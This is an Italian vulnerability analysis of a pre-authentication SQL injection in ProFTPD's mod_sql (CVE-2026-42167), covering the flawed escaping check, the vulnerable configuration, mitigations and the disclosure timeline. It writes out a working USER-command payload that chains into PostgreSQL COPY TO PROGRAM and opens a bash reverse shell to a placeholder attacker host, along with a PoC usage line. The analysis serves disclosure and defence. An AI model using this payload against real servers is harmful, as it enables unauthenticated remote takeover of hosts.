
Pre-Auth RCE in ProFTPD tramite bypass di is_escaped_text() in mod_sql (CVE-2026-42167)
mod_sqlAutore: Van Glenndon Enad
Scoperta originale: ZeroPath
Pubblicato: 1 maggio 2026
Gravità: Critica
Punteggio CVSS v3.1: 8.1
Vettore CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Punteggio CVSS v2: 7.6
Vettore CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)
CVE-2026-42167 è una vulnerabilità critica di SQL injection pre-autenticazione nel modulo di estensione mod_sql di ProFTPD. Un difetto logico nella funzione is_escaped_text() consente a un attaccante non autenticato di bypassare l'escape dei caratteri SQL creando un comando USER il cui valore soddisfa un'euristica difettosa di "già sottoposto a escape". L'SQL iniettato viene passato direttamente al database backend tramite PQexec(), che supporta query impilate.
Quando il ruolo del database ProFTPD è un superutente PostgreSQL — una configurazione errata comune nelle distribuzioni containerizzate — l'iniezione raggiunge la direttiva COPY TO PROGRAM di PostgreSQL, risultando in esecuzione di codice a livello di sistema operativo non autenticata come utente di sistema postgres. Non sono richieste credenziali, accesso precedente o interazione con l'utente.
| Componente | Versione |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Modulo | mod_sql + mod_sql_postgres |
| Versione corretta | 1.3.9a (rilasciata il 27 aprile 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (solo bypass dell'autenticazione) |
ProFTPD è un server FTP open source ampiamente distribuito. Secondo Shodan, su internet esistono oltre 160.000 istanze ProFTPD pubblicamente accessibili. Il modulo mod_sql è comunemente abilitato nei pannelli di controllo di hosting condiviso, tra cui cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.
Il modulo mod_sql di ProFTPD supporta l'autenticazione basata su SQL e la registrazione delle attività. Le stringhe di formato dei log possono includere variabili di sostituzione come %U (nome utente), %r (host remoto) e %m (comando FTP). Queste variabili vengono espanse in fase di esecuzione e inserite nelle query SQL eseguite contro il backend configurato.
Una configurazione vulnerabile tipica:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
In questa configurazione, il valore fornito nel comando FTP USER viene sostituito per %U e incluso direttamente in un'istruzione SQL INSERT. Prima dell'inserimento, il valore viene passato attraverso is_escaped_text() per determinare se necessita di escape. Questa funzione contiene un difetto logico critico.
is_escaped_text()Situata in contrib/mod_sql.c, la funzione applica la seguente euristica per decidere se una stringa è "già sottoposta a escape":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
Quando questa funzione restituisce TRUE, sql_resolved_append_text() (riga 777) inserisce il valore grezzo, senza escape, direttamente nella stringa della query. Il valore viene quindi eseguito da PQexec() in contrib/mod_sql_postgres.c (riga 1146), che supporta query impilate (multi-istruzione).
L'euristica era probabilmente intesa a rilevare stringhe già racchiuse da delimitatori di stringa SQL. Tuttavia, non tenta di verificare che il contenuto interno sia sicuro — controlla solo che non siano presenti virgolette singole aggiuntive. Ciò significa che qualsiasi payload che:
''$$ di PostgreSQL)...supererà il controllo e verrà iniettato letteralmente nella query SQL.
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| Requisito | Note |
|---|---|
mod_sql abilitato con registrazione SQL | Deve registrare una variabile pre-autenticazione come %U |
| Backend PostgreSQL | Richiesto per RCE tramite COPY TO PROGRAM; MySQL/SQLite consentono comunque il bypass dell'autenticazione |
| Il ruolo del database è superutente PostgreSQL | COPY TO PROGRAM è limitato ai superutenti o ai membri di pg_execute_server_program |
bash disponibile sull'host del database | Richiesto per la consegna della reverse shell tramite /dev/tcp |
| Raggiungibilità di rete | Il container PostgreSQL deve poter raggiungere l'attaccante sulla porta del listener |
La condizione di superutente è spesso soddisfatta nelle distribuzioni containerizzate in cui l'utente del database ProFTPD viene creato tramite POSTGRES_USER=... nell'immagine Docker ufficiale di PostgreSQL, o quando un amministratore concede al ruolo ProFTPD la proprietà del database.
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
Il payload dell'iniezione viene consegnato tramite il comando FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condizione | Soddisfatta? | Motivo |
|---|---|---|
Inizia con ' | ✅ | Il primo carattere è ' |
Termina con ' | ✅ | L'ultimo carattere è ' |
| Nessuna virgoletta singola interna | ✅ | Le stringhe interne utilizzano la quotazione con dollaro $$ |
| Segmento | Scopo |
|---|---|
', null, null); | Chiude correttamente l'istruzione INSERT originale |
COPY (SELECT $$x$$) TO PROGRAM | Query impilata che utilizza COPY TO PROGRAM di PostgreSQL |
$$bash -c ...$$ | Comando shell che utilizza la quotazione con dollaro $$ per evitare le virgolette singole |
; --' | Termina la query impilata; --' commenta il resto e fornisce la ' di chiusura per il bypass |
Avvertenza: Questo PoC è fornito esclusivamente a scopo educativo e per test autorizzati. Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta.
Esempio di utilizzo:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Categoria | Descrizione |
|---|---|
| Riservatezza | Accesso completo in lettura al filesystem come utente OS postgres |
| Integrità | Capacità di scrivere file, modificare i contenuti del database, installare backdoor |
| Disponibilità | Possibile interruzione del servizio e distruzione dei dati |
| Autenticazione | Sfruttabile con zero credenziali in fase di pre-autenticazione |
| Ambito | Si estende oltre ProFTPD all'host PostgreSQL sottostante |
Qualsiasi sistema in cui ProFTPD è co-localizzato con un'istanza PostgreSQL o dispone di accesso superutente a essa è a rischio di compromissione completa dell'host. Il movimento laterale verso sistemi adiacenti e la persistenza tramite cron job o iniezione di chiavi SSH sono facilmente realizzabili dopo lo sfruttamento.
is_escaped_text() con una gestione adeguata delle query parametrizzatemod_sql (rimuovere le direttive SQLLog)%U, %r, %m) dalle definizioni SQLNamedQueryINSERT sulla tabella dei log e SELECT sulla tabella di autenticazioneUSER contenenti virgolette singole, COPY, PROGRAM o parole chiave SQL| Data | Evento |
|---|---|
| 28 marzo 2026 | Vulnerabilità segnalata ai manutentori di ProFTPD |
| 7 aprile 2026 | Iniziata la verifica della patch |
| 24 aprile 2026 | Assegnato CVE-2026-42167 |
| 27 aprile 2026 | Correzione committata; rilasciato ProFTPD 1.3.9a |
| 28 aprile 2026 | Pubblicato su NVD |
| 28–29 aprile 2026 | Repository PoC pubblici pubblicati su GitHub |
| 1 maggio 2026 | Pubblicati analisi indipendente e PoC semplificato |
Disclaimer legale: Questa analisi e prova di concetto sono pubblicate strettamente a scopo educativo, di ricerca e di sicurezza difensiva. L'autore non approva l'accesso non autorizzato a sistemi informatici. Ottenere sempre esplicita autorizzazione scritta prima di condurre test di sicurezza su qualsiasi sistema di cui non si è proprietari.